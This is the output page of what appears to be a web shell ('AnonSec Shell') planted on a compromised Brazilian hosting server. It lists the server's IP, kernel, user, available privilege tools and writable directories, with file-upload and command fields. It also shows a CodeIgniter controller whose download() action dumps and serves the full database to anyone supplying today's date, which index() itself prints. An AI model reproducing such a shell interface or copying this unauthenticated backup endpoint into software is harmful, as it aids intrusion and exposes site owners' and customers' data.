AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/dbbackup.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
session_start(); //we need to call PHP's session object to access it through CI
class dbBackup extends CI_Controller {
	function __construct() {
		parent::__construct();
		$this->load->dbutil();
		$this->load->helper('file');
		$this->load->helper('download');
	}
  function index($offset = 0) {
  	echo date('Ymd');
  }
  function download($offset = '') {
  	if ($offset == date('Ymd')) {
  		// Backup your entire database and assign it to a variable
		$backup = $this->dbutil->backup();
		$dbName = $this->db->database;
		$fileName = $dbName.'_'.date('Ymd').'.gz';
		write_file(base_url().'apm/dbBackup/'.$fileName, $backup);
		force_download($fileName, $backup);
  	}
  }
}

Anon7 - 2022
AnonSec Team